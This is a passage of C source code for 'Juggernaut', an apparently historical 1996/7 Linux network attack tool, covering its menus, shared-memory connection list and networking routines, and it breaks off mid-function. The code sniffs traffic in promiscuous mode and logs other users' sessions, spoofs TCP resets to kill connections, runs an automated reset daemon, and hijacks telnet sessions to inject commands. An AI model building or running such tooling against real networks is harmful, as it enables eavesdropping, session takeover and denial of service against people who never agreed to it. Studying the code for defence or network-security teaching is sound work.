    if(usage)fprintf(stderr,"\nDatabase is %.02f%% to capacity.",usage);
    else fprintf(stderr,"\nDatabase is empty.");

    fprintf(stderr,"\n[c,q] >");
    fgets(buf,sizeof(buf),stdin);

    if(buf[0]=='c'){
        fprintf(stderr,"\nClear entire connection database? [y/N] >");
        fgets(buf,sizeof(buf),stdin);
        if(buf[0]=='y'){
            cleardb();
            fprintf(stderr,"\nConnection database cleared.\n[cr]");
            getchar();
        }
    }
}

/*
 *  Juggernaut version and option information
 */

void jinfo(){

    time_t current=0;

    fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);

    fprintf(stderr,"\nJuggernaut compiled with the following options:\n");
#ifdef MULTI_P
    fprintf(stderr," Multi-processing\n");
#endif

#ifdef NOHUSH
    fprintf(stderr," Audible notification\n");
#endif

#ifdef USENAME
    fprintf(stderr," Use hostnames\n");
#endif

#ifdef GREED
    fprintf(stderr," Greedy connections\n");
#endif

#ifdef FASTCHECK
    fprintf(stderr," Fast IP checksuming\n");
#endif

#ifdef IP_HDRINCL
    fprintf(stderr," IP header include\n");
#endif

#ifdef THREAD
    fprintf(stderr," Multi-threading\n");
#endif

    time(&current);
    fprintf(stderr,"Juggernaut has been running %.02f minutes\n",(difftime(current,uptime)/60));   

    fprintf(stderr,"[cr]");            
    getchar();
}

/*
 *  csimplexhijack wrapper
 */

void simplexhijack(){


    void sputter();
    float dump();
    void csimplexhijack(struct connectionInfo *,char *);
    void cspy(struct connectionInfo *,FILE *);
    struct connectionInfo *checkc(int);
	
    char buf[MINIBUF];
    char commandbuf[BUFSIZE];
    unsigned short val;
    struct connectionInfo *target;

    dump();							
	
    while(1){
    	fprintf(stderr,"\nChoose a connection [q] >");
    	fgets(buf,sizeof(buf),stdin);
    	if(buf[0]==0x0a||buf[0]=='q')return;
    	if(!(int)(val=atoi(buf)))continue;
    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");	
    	else break;
    }
    if(ntohs(target->dport)!=23){
    	fprintf(stderr,"Hijacking only valid with telnet connections.\n");
    	fprintf(stderr,"[cr]");
    	getchar();
    	return;
    }		
    fprintf(stderr,"Enter the command string you wish executed [q] >");
    fgets(commandbuf,sizeof(commandbuf),stdin);
    if(commandbuf[0]==0x0a)return;
    fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
    fprintf(stderr,"\nNOTE: This may cause an ACK storm until client is RST.\n");
    signal(SIGINT,sputter);
    sigsentry=1;
    cspy(target,0);					
    csimplexhijack(target,commandbuf);
    fprintf(stderr,"[cr]");
    getchar();
}


/*
 *  chijack wrapper
 */

void hijack(){

    void sputter();
    float dump();
    void chijack(struct connectionInfo *);
    void cspy(struct connectionInfo *,FILE *);
    struct connectionInfo *checkc(int);
	
    char buf[MINIBUF];
    unsigned short val;
    struct connectionInfo *target;

    dump();							
	
    while(1){
    	fprintf(stderr,"\nChoose a connection [q] >");
    	fgets(buf,sizeof(buf),stdin);
    	if(buf[0]==0x0a||buf[0]=='q')return;
        if(!(int)(val=atoi(buf)))continue;
        if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");	
    	else break;
    }
    if(ntohs(target->dport)!=23){
    	fprintf(stderr,"Hijacking only valid with telnet connections.\n");
    	fprintf(stderr,"[cr]");
    	getchar();
    	return;
    }		
    fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when you want to hijack.\n");
    fprintf(stderr,"\nNOTE: This will cause an ACK storm and desynch the client until the connection is RST.\n");
    signal(SIGINT,sputter);
    sigsentry=1;
    cspy(target,0);					
    sigsentry=1;
    chijack(target);
    fprintf(stderr,"[cr]");
    getchar();
}


/*
 *  Prometheus wrapper (packet assembly workshop)
 */

void pkta(){

    void mpkta();
    void mwipe();
    int prometheus(int);
	
    int val,mode;
    char buf[MINIBUF];
  
    while(1){
        mwipe();
        mpkta();
        fgets(buf,sizeof(buf),stdin);
        if(!(val=atoi(buf)))continue;
        switch(val){
            case 1:                     /* TCP */
                mode=1;
	        break;		
	    case 2:                     /* UDP */
        	mode=2;
		break;		
	    case 3:                     /* ICMP */
            	mode=3;
		break;		
	    case 4:                     /* IP */
                mode=4;
	        break;		
	    case 5:                     /* Return */
	        return;
	    default:
	        continue;
        }
        if(prometheus(mode))break;
    }   			
	                                /* NOT REACHED */
}

<-->
<++> Juggernaut/NumberOneCrush/mem.c
/*
 *
 *                                  Juggernaut
 *                                  Version b1
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  mem.c - contains shared memory and semaphore control logic
 * 
 *  Multi-process:
 *  Initializing and accesing shared memory:
 *  ----------------------------------------
 *  - Create the shared segment
 *  - Attach each process to the segment (in our case, the hunter child 
 *    process will inherit a pointer to the block)
 *  - Grab a semaphore 
 *  - Lock the semaphore; Manipulate shared segment; unlock the semaphore 
 *
 *
 *  Multi-threaded:
 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>

#define SHMKEY 242 	            /* Shared memory key */
#define SEMKEY 424 	            /* Semaphore key */
#define PERMS 0666                  /* Shared Memory Permissions */
#define MAXNODES 512		    /* Maximum number of nodes */
#define ADDMSG "+"
#define DELMSG "-"

int semid;                          /* Semaphore ID */

struct sembuf lock[2]={{0,0,0},{0,1,SEM_UNDO}};         
                                    /* wait for sem#0 to become 0 then 
                                       increment sem#0 by 1 */
struct sembuf ulock[1]={{0,-1,(IPC_NOWAIT|SEM_UNDO)}};  
                                    /* decrement sem#0 by 1 (sets it to 0) */

struct epack{                       /* Generic Ethernet packet w/o data payload */
    struct ethhdr eth;              /* Ethernet Header */
    struct iphdr ip;                /* IP header */
    struct tcphdr tcp;              /* TCP header */
    char payload[8192];             /* Data Payload */
}epack;

static struct connectionInfo{       /* Simple tuple structure */
    unsigned long saddr;            /* Source IP */
    unsigned long daddr;            /* Destination IP */
    unsigned short sport;           /* Source TCP Port */
    unsigned short dport;           /* Destination TCP Port */
}*cinfo=0;

extern int verbosity;

/*
 *  Creates the shared memory segment then attaches it; then creates a binary 
 *  semaphore to guarantee exclusive access.  Clears the structure array.
 *  Dumps some info.    
 *  Much credit to Richard Stevens and Jeff Thompson.
 */

void powerup(){
	
    void locks();
    void ulocks();
    void cleardb();

    int shmid;              	    /* Shared memory segment id */
    int len;
	
    len=sizeof(struct connectionInfo)*MAXNODES;

                                    /* Request a shared memory segment */
    if((shmid=shmget(SHMKEY,len,IPC_CREAT))<0){			
        if(verbosity)perror("(powerup) shared memory segment allocation error [fatal]");
        exit(1);
    }
                                    /* Get one semaphore to perform shared 
                                       memory locking with */
    if((semid=semget(SEMKEY,1,IPC_CREAT|PERMS))<0){        	
        if(verbosity)perror("(powerup) semaphore allocation error [fatal]");
	exit(1);        
    }
                                    /* Attach to the shared memory segment */
    cinfo=(struct connectionInfo *)shmat(shmid,0,0);		

    cleardb();
}

/*
 *  Release the shared memory segment.
 */

void powerdown(){

    void locks();
    void ulocks();

    locks();
    shmdt((char *)cinfo);           /* Dettach the segment. */
    ulocks();
}

/*
 *  Locks the semaphore so the caller can access the shared memory segment.  
 *  This is an atomic operation.
 */

void locks(){
    if(semop(semid,&lock[0],2)<0){
        if(verbosity)perror("(locks) could not lock semaphore [fatal]");
        exit(1);
    }
}
        
/*
 *  Unlocks the semaphore so the caller can access the shared memory segment. 
 *  This is an atomic operation.
 */

void ulocks(){
    if(semop(semid,&ulock[0],1)<0){
        if(verbosity)perror("(ulocks) could not unlock semaphore [fatal]");
        exit(1);
    }
}


/* 
 *  Add a connection to our list.  Linear search of the WHOLE list to see if 
 *  it's already there (which IT SHOULDN'T BE...), if not, add it in the
 *  first open slot.
 */

char *addc(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{
    void locks();
    void ulocks();
        
    int i=0;        
			                /* A wonderfully inefficient linear 
                                           search for duplicates */

    locks();				/* Lock shared memory segment */
    for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
        ulocks();
	return(0);                      /* Opps.  Found a duplicate */
    }
        		                /* Find available slot */
    for(i=0;i<MAXNODES;i++){
	if(cinfo[i].saddr)continue;
	else{
	    cinfo[i].saddr=iphp->saddr;
	    cinfo[i].daddr=iphp->daddr;
	    cinfo[i].sport=tcphp->source;
            cinfo[i].dport=tcphp->dest;
            ulocks();
	    return(ADDMSG);
	}
    }			                /* Control falls here if array is 
                                           full (which is indicative of
                                           a BUSY NETWORK!@*/
    ulocks();
    return(0);		                
}


/* 
 *  Remove a connection from our list.  Linear search until we find a 
 *  correspoding entry, or we hit the end of the list.
 */

char *delc(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{
        
    void locks();
    void ulocks();

    int i=0;        

    locks();                        /* Lock shared memory segment */
    for(;i<MAXNODES;i++)if(iphp->saddr==cinfo[i].saddr&&iphp->daddr==cinfo[i].daddr&&tcphp->source==cinfo[i].sport&&tcphp->dest==cinfo[i].dport){
	bzero(&cinfo[i],sizeof(cinfo[i]));
	ulocks();
        return(DELMSG);		    /* Inform caller of success */
    }
    ulocks();
    return(0);		            /* hmm.  Wierd.   */
}


/* 
 *  Dump the connection list.
 */

float dumpc()
{
    void locks();
    void ulocks();
    char *hostLookup(unsigned long);

    int i=0;        
    float j=0;

    locks();
    for(;i<MAXNODES;i++)if(cinfo[i].saddr){
        fprintf(stderr,"(%d)\t %s [%d]\t-->\t %s [%d]\n",i+1,hostLookup(cinfo[i].saddr),ntohs(cinfo[i].sport),hostLookup(cinfo[i].daddr),ntohs(cinfo[i].dport));
        j++;
    }
    ulocks();
    if(!j)return(0);
    return(((j/MAXNODES)*100));     /* % utilization */
}


/* 
 *  Check for a connection by index number.  Really only here to make sure the
 *  connection hasn't been deleted since dump() was called....  I think I
 *  will deprecate this function in future versions...
 */
   
struct connectionInfo *checkc(target)
int target;
{       
    void locks();
    void ulocks();

    static struct connectionInfo tmp;
        
    locks();				    /* Lock shared memory segment */
    if(cinfo[--target].saddr){			
	memcpy(&tmp,&cinfo[target],sizeof(tmp));
	ulocks();
	return(&tmp);			
    }
    ulocks();				    /* Nope.  Not there */
    return((struct connectionInfo *)0);
}


/*
 *  Clear the connection database
 */

void cleardb(){

    void locks();
    void ulocks();

    int i=0;

    locks();
    for(;i<MAXNODES;i++)bzero(&cinfo[i],sizeof(cinfo[i]));
    ulocks();     
}
<-->
<++> Juggernaut/NumberOneCrush/menu.c
/*
 *
 *                                  Juggernaut
 *                                  Version b2
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 *
 *  menu.c - menu functions.
 * 
 */

#include <stdio.h>

extern char version[];

/*
 *  Initial Screen
 */

void minit(){
 
    printf("\t\t\t   J U G G E R N A U T\n");
    printf("\t\t    multipurpose network tool for Linux\n");
    printf("\t\t\t       version: %s\n",version);
    printf("\n\n\n\n\n\n");
    printf("\t  (c) 1996/7 daemon9 | A Guild Corporation Production\t\t\t\n");
    printf("\n\n\n\n\n\n");
}

/*
 *  Main Menu
 */

void mmain(){

    printf("\t\t\t           Juggernaut\n");
    printf("\t\t\t+------------------------------+\n");
    printf("\t\t\t?) Help\n");
    printf("\t\t\t0) Program information\n");
    printf("\t\t\t1) Connection database\n");
    printf("\t\t\t2) Spy on a connection\n");
    printf("\t\t\t3) Reset a connection\n");
    printf("\t\t\t4) Automated connection reset daemon\n");
    printf("\t\t\t5) Simplex connection hijack\n");
    printf("\t\t\t6) Interactive connection hijack\n");
    printf("\t\t\t7) Packet assembly module\n");
    printf("\t\t\t8) Souper sekret option number eight\n");
    printf("\t\t\t9) Step Down\n");
    printf("\n\n\n\n\n\n\n\n\n");
    printf(">");
}	

/*
 *  Packet Assembly Menu [prometheus module]
 */

void mpkta(){

    printf("\t\t\t     Packet Assembly Module (beta)\n");
    printf("\t\t\t+------------------------------+\n");
    printf("\t\t\t1. TCP Assembler\n");
    printf("\t\t\t2. UDP Assembler\n");
    printf("\t\t\t3. ICMP Assembler\n");
    printf("\t\t\t4. IP Assembler\n");
    printf("\t\t\t5. Return to previous menu\n");
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  TCP assembly options menu
 */

void mpktatcp(packetready,source,destination,seqnum,acknum,control,window,data)
int packetready;
unsigned short source;
unsigned short destination;
unsigned long seqnum;
unsigned long acknum;
char *control;
unsigned short window;
char data[512];
{

    printf("\t\t\t     TCP Packet Assembly\n");
    printf("\t\t\t+------------------------------+\n");
    if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
    else printf("\t\t\tSource port: %d\n",source);
    if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
    else printf("\t\t\tDestination port: %d\n",destination);
    if(!(packetready&0x04))printf("\t\t\t3. Sequence Number\n");
    else printf("\t\t\tSequence Number: %ld\n",seqnum);
    if(!(packetready&0x08))printf("\t\t\t4. Acknowledgement Number\n");
    else printf("\t\t\tAcknowledgement Number: %ld\n",acknum);
    if(!(packetready&0x10))printf("\t\t\t5. Control Bits\n");
    else printf("\t\t\tControl Flags: %s\n",control);
    if(!(packetready&0x20))printf("\t\t\t6. Window Size\n");
    else printf("\t\t\tWindow Size: %d\n",window);
    if(!(packetready&0x40))printf("\t\t\t7. Data Payload\n");
    else printf("\t\t\tData payload: %s\n",data);
    printf("\t\t\t8. Return to previous menu\n");
    printf("\t\t\t9. Return to main menu\n");
    if(packetready==0x7F)printf("\t\t\t10. Pass packet to RIP assembler\n");
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  UDP assembly options menu
 */

void mpktaudp(packetready,source,destination,data)
int packetready;
unsigned short source;
unsigned short destination;
char data[512];
{
    printf("\t\t\t     UDP Packet Assembly\n");
    printf("\t\t\t+------------------------------+\n");
    if(!(packetready&0x01))printf("\t\t\t1. Source port\n");
    else printf("\t\t\tSource port: %d\n",source);
    if(!(packetready&0x02))printf("\t\t\t2. Destination port\n");
    else printf("\t\t\tDestination port: %d\n",destination);
    if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
    else printf("\t\t\tData payload: %s\n",data);
    printf("\t\t\t4. Return to previous menu\n");
    printf("\t\t\t5. Return to main menu\n");
    if(packetready==0x7)printf("\t\t\t6. Pass packet to RIP assembler\n");
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  ICMP assembly options menu
 */

void mpktaicmp(packetready,type,code,data)
int packetready;
unsigned short type;
unsigned short code;
char data[512];
{

    printf("\t\t\t     ICMP Packet Assembly\n");
    printf("\t\t\t+------------------------------+\n");
    if(!(packetready&0x01))printf("\t\t\t1. Type\n");
    else printf("\t\t\tType: %d\n",type);
    if(!(packetready&0x02))printf("\t\t\t2. Code\n");
    else printf("\t\t\tCode: %d\n",code);
    if(!(packetready&0x04))printf("\t\t\t3. Data payload\n");
    else printf("\t\t\tData payload: %s\n",data);
    printf("\t\t\t4. Return to previous menu\n");
    printf("\t\t\t5. Return to main menu\n");
    if(packetready==0x07)printf("\t\t\t6. Pass packet to RIP assembler\n");
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  IP assembly options menu
 */

void mpktaip(packetready,tos,fflags,fo,ttl,saddr,daddr,number,packettype)
int packetready;
char *tos;
char *fflags;
unsigned short fo;
unsigned short ttl;
char *saddr;
char *daddr;
int number;
char *packettype;
{

    printf("\t\t\t     IP Packet Assembly\n");
    printf("\t\t\t+------------------------------+\n");
    if(!(packetready&0x01))printf("\t\t\t1. TOS\n");
    else printf("\t\t\tTOS: %s\n",tos);
    if(!(packetready&0x02))printf("\t\t\t2. Fragment Flags\n");
    else printf("\t\t\tFragment flags: %s\n",fflags);
    if(!(packetready&0x04))printf("\t\t\t3. Fragment Offset\n");
    else printf("\t\t\tFragment offset: %d\n",(fo&0x1fff));
    if(!(packetready&0x08))printf("\t\t\t4. TTL\n");
    else printf("\t\t\tTTL: %d\n",ttl);
    if(!(packetready&0x10))printf("\t\t\t5. Source Address\n");
    else printf("\t\t\tSource Address: %s\n",saddr);
    if(!(packetready&0x20))printf("\t\t\t6. Destination Address\n");
    else printf("\t\t\tDestination Address: %s\n",daddr);
    if(!(packetready&0x40))printf("\t\t\t7. Number of packets to send\n");
    else printf("\t\t\tSending %d packet(s)\n",number);
    printf("\t\t\t8. Return to previous menu\n");
    printf("\t\t\t9. Return to main menu\n");
    if(packetready==0x7f)printf("\t\t\t10. Transmit %s packet(s)\n",packettype);
    printf("\n\n\n\n\n\n\n\n\n\n");
    printf(">");
}

/*
 *  Clear the Screen
 */

void mwipe(){

    printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
}
<-->
<++> Juggernaut/NumberOneCrush/net.c
/*
 *
 *                                  Juggernaut
 *                                  Version b1
 *
 *                            1996/7 Guild productions
 *                           daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  net.c - network/socket control code and abstract data types 
 * 
 *  In the interest of time overhead vs. code size, I created several functions
 *  that do much the same thing.  You will notice the reset and jack code is 
 *  quite redundant.  Life is rough like that.  Deal with it.  Also, there are 
 *  problems with freeing malloc'd memory.
 * 
 */


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <arpa/inet.h>
#include <signal.h>
#include <string.h>
#include <setjmp.h>
#include <unistd.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <linux/if.h>
#include <linux/sockios.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/ioctl.h>

#define DEVICE "eth0"
#define ETHHDR  14
#define PHDR    12
#define TCPHDR  20
#define IPHDR   20
#define BUFSIZE 512
#define MINIBUF	10
#define RSTS	10	/* Number of RSTs to send when RSTing a connection */
#define JCKRST	3	/* You may wish to experiment with this value.  The 
			   smaller it is, your command have less time to 
			   complete on the target.  However, the ACK storm 
			   will also be much shorter... */
#define SNIFLOG "./juggernaut.log.snif"
					   
struct iphdr  *iphp;	    /* Pointer into current packets IP header */
struct tcphdr *tcphp;       /* Pointer into current packets TCP header */
struct ethhdr *ethhp;	    /* Pointer into current packets ethernet header */

			    /* Macro to align the pointers into the ethernet, 
                               IP, and TCP headers. */
#define ALIGNNETPOINTERS(){\
    ethhp=(struct ethhdr *)(((unsigned long)&epack.eth));\
    iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);\
    tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);\
}

struct epack{               /* Generic Ethernet packet w/o data payload */
    struct ethhdr eth;      /* Ethernet Header */
    struct iphdr ip;        /* IP header */
    struct tcphdr tcp;      /* TCP header */
    char payload[8192];	    /* Data Payload */
}epack;

struct connectionInfo{
    unsigned long saddr;    /* Source IP */
    unsigned long daddr;    /* Destination IP */
    unsigned short sport;   /* Source TCP Port */
    unsigned short dport;   /* Destination TCP Port */
};

jmp_buf env;		    /* To preserve our environment */
extern int verbosity;       /* Should we dump error messages? */

/*
 *  Creates a low level raw-packet socket and puts the device into promiscuous 
 *  mode.
 */

int tap(device)
char *device;
{
	
    int fd;				
    struct ifreq ifr;   /* Link-layer interface request structure */
                        /* Ethernet code for IP 0x800==ETH_P_IP */
    if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){	
        if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
        exit(1);					           
    }
    strcpy(ifr.ifr_name,device);				
    if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){    /* Get the device info */
        if(verbosity)perror("(tap) Can't get device flags [fatal]");
        close(fd);
      	exit(1);
    }
    ifr.ifr_flags|=IFF_PROMISC;	            /* Set promiscuous mode */
    if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){    /* Set flags */
        if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]");
        close(fd);
	exit(1);
    }
    return(fd);
}


/*
 *  Gimme a raw-IP socket.  Use of IP_HDRINCL is automatic with 2.0.x
 *  kernels.  Not sure about 1.2.x
 */

int rawsock(){

    int fd,val=1;
    
    if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
        if(verbosity)perror("\n(rawsock) Socket problems [fatal]");
        exit(1);
    }  

#ifdef IP_HDRINCL
    if(setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0){  
	if(verbosity){
            perror("Cannot set IP_HDRINCL socket option");
	    fprintf(stderr,"\nIf you are relying on this rather then a hacked kernel to spoof packets, your sunk.\n[cr]");
            getchar();
        }
    }
#endif

    return(fd);
}	


/*
 *  Hunter.  At this point, only cares about connection information (infant
 *  connections and tear-downs).  I should have it pass SEQ and ACK related
 *  info to the relevant functions...  This function will be forked to the
 *  backround as a seperate process, and in future versions it will be
 *  implemented as a seperate thread of execution.
 */
                 
void chunt(){

    void add(struct iphdr *,struct tcphdr *,struct ethhdr *);
    void del(struct iphdr *,struct tcphdr *);

    extern int linksock;		/* raw packet socket */
    
    ALIGNNETPOINTERS();
					/* No alarm timeout here.  We block forever until packets zing by */
    while(1)if(recv(linksock,&epack,sizeof(epack),0)){
        if(iphp->protocol==IPPROTO_TCP&&(tcphp->syn&&!tcphp->ack))add(iphp,tcphp,ethhp);
	if(iphp->protocol==IPPROTO_TCP&&(tcphp->rst||tcphp->fin))del(iphp,tcphp); 
    }
}

/*
 *  addc() wrapper.  Checks to make sure we want to add this connection to
 *  our list....  At this point, we'll take ftp control, ssh (well, we can
 *  RST them) telnet, smtp, http, rlogin, and irc.  
 */

void add(iphp,tcphp,ethhp)
struct iphdr *iphp;
struct tcphdr *tcphp;
struct ethhdr *ethhp;       /* Future Use */
{
    char *addc(struct iphdr *, struct tcphdr *);

    char *msg;

#ifdef GREED
    if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
#ifdef NOHUSH
    fprintf(stderr,"%c",7);
#endif    
    return;
#else
    switch(ntohs(tcphp->dest)){
        case 21:
        case 22:
        case 23:
        case 25:
        case 80:
        case 513:
        case 6667:
            if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
#ifdef NOHUSH
            fprintf(stderr,"%c",7);
#endif    
            return;
        default:
            return;
    }
#endif
}


/*
 *  delc() wrapper.  Checks connection port number to see if we should even
 *  bother passing to the delete function which will do a potentially expensive
 *  linear search...
 */

void del(iphp,tcphp)
struct iphdr *iphp;
struct tcphdr *tcphp;
{
    char *delc(struct iphdr *, struct tcphdr *);

    char *msg;

#ifdef GREED
    if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
    return;
#else
    switch(ntohs(tcphp->dest)){
        case 21:
        case 22:
        case 23:
        case 25:
        case 80:
        case 513:
        case 6667:
            if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
            return;
        default:
            return;
    }
#endif
}


/*
 *  Spy on a connection.  If the packet captured is from the target connection, 
 *  call dumpp().  If fp is valid, prepend header/append footer.
 */

void cspy(target,fp)
struct connectionInfo *target;
FILE *fp;
{

    char *hostLookup(unsigned long);
    void dumpp(char *,int,FILE *);

    extern int sigsentry;
    int tlinksock=tap(DEVICE);	/* Spying tap.  XXX- Really dumb way to do this... */
    time_t tp;

    ALIGNNETPOINTERS();
	
    fprintf(stderr,"Spying on connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
    if(fp){
        fprintf(fp,"---------------------------------------------------------------------\n: Juggernaut connection spy log header\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport));
        time(&tp);
        fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
    }
		    /* NO alaram timeout here.  SIGINT kills our spy session */
    while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp);
	
    if(fp){
        fprintf(fp,"\n---------------------------------------------------------------------\n: Juggernaut connection spy log trailer\n: %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup(target->daddr),ntohs(target->dport)









);
        time(&tp);
        fprintf(fp,": Log ended:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
    }
    close(tlinksock);
}


/*
 *  Dumps the payload.  Dump to file if we have a valid FP.
 */

void dumpp(payload,length,fp)
char *payload;
int length;
FILE *fp;
{
    register int tickytacky=0;
 
    for(;tickytacky<length;tickytacky++){
        fprintf(stderr,"%c",payload[tickytacky]);
	if(fp)fprintf(fp,"%c",payload[tickytacky]);
    }
	
}
 

/*
 *  RST both ends of a connection.  Listen for the client to send a packet so 
 *  we know where the seq/ack #s are and then spoof 10 RSTs to the client which
 *  will then send a RST to the other end when it recieves the legitimate
 *  response packet.
 */

void crst(target)
struct connectionInfo *target;
{

    void nettimeout();
    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);

    char *tempBuf=0;
    extern int ripsock;	
    extern int netreadtimeout;

    struct sockaddr_in sin;         
    
    struct tpack{               /* Generic TCP packet w/o payload */
        struct iphdr ip;
        struct tcphdr tcp;
    }tpack;

    struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;
 		
    static int moot=0;
    int tlinksock=tap(DEVICE);

    ALIGNNETPOINTERS();

    sin.sin_family=AF_INET;     /* Preload these values.  All we are really 
                                   waiting for are the seq/ack #s */
    sin.sin_port=target->dport;     
    sin.sin_addr.s_addr=target->saddr;

    bzero(&tpack,sizeof(tpack));    /* Zero out these structures so I dunot 
                                       have to assign 0's to the unused
                                       areas... */
    bzero(&ppheader,sizeof(ppheader));             

    tpack.tcp.source=target->dport;	    /* 16-bit Source port number */
    tpack.tcp.dest=target->sport;   	    /* 16-bit Destination port */
    tpack.tcp.doff=5;               	    /* Data offset */
    tpack.tcp.ack=1;                	    /* Acknowledgement field valid flag */
    tpack.tcp.rst=1;                	    /* Reset flag */
    tpack.tcp.window=htons(242);   	    /* 16-bit Window size */

    tpack.ip.version=4;             	    /* 4-bit Version */
    tpack.ip.ihl=5;                 	    /* 4-bit Header Length */
    tpack.ip.tot_len=htons(IPHDR+TCPHDR);   /* 16-bit Total length */
    tpack.ip.ttl=64;                	    /* 8-bit Time To Live */
    tpack.ip.protocol=IPPROTO_TCP;  	    /* 8-bit Protocol */

    tpack.ip.saddr=target->daddr;     	    /* 32-bit Source Address */
    tpack.ip.daddr=target->saddr;     	    /* 32-bit Destination Address */

    tempBuf=(char *)malloc(PHDR+TCPHDR);    /* Checksum stuff */
    ppheader=(struct psuedoHeader *)tempBuf;
    
    ppheader->saddr=tpack.ip.saddr;
    ppheader->daddr=tpack.ip.daddr;
    ppheader->prot=IPPROTO_TCP;
    ppheader->null=0;
    ppheader->tlen=htons(TCPHDR);
 
    fprintf(stderr,"Reseting connection:\t %s [%d]\t-->\t %s [%d]\n",hostLookup(target->saddr),ntohs(target->sport),hostLookup (target->daddr),ntohs(target->dport));
 
    if(setjmp(env)){			    /* Timeout */
        if(verbosity)fprintf(stderr,"Quiet connection, not reset. [soft error, returning]\n");
	return;
    }
    signal(SIGALRM,nettimeout);
    alarm(netreadtimeout);                  /* Wait 10 seconds for reply */

    while(1)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP&&iphp->saddr==target->saddr&&tcphp->source==target->sport){

        for(;moot<RSTS;moot++){                /* Send RSTs, incrementing 
                                                seqs and acks as we go */
            tpack.tcp.seq=tcphp->ack_seq+(htonl(moot));
            tpack.tcp.ack_seq=tcphp->seq+(htonl(moot));

            bcopy(&tpack.tcp,tempBuf+PHDR,PHDR+TCPHDR);
            tpack.tcp.check=in_cksum((unsigned short *)tempBuf,PHDR+TCPHDR);

	    sendto(ripsock,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
        }
	alarm(0);

        /*free(tempBuf);    XXX */
	fprintf(stderr,"Connection torn down.\n");
        close(tlinksock);
	break;
    }
}


/*
 *  Sets up automated connection reseting.  A source and possibly a 
 *  destination host are targeted for reseting.  This function will kill any 
 *  connection attempts from the source (and possibly to a destination).
 */

void acrst(source,target)
unsigned long source, target;
{

    char *hostLookup(unsigned long);
    unsigned short in_cksum(unsigned short *,int);
    void spasm();               /* Handles the user defined signal */

    struct tpack{                               
        struct iphdr ip;
        struct tcphdr tcp;
    }tpack;

    struct psuedoHeader{
        unsigned long saddr;
        unsigned long daddr;
        unsigned char null;
        unsigned char prot;
        unsigned short tlen;
    }*ppheader;
		
    struct sockaddr_in sin;
    
    int moot=0;
    extern int ripsock;	
    extern int acrstpid;
    char *tempBuf=0;
    int tlinksock=tap(DEVICE);

    switch((acrstpid=fork())){ 	/* Drop a child to backround, return the 
                                   parent to continue */
        case 0:                 /* Set the priority up a few notchs..  
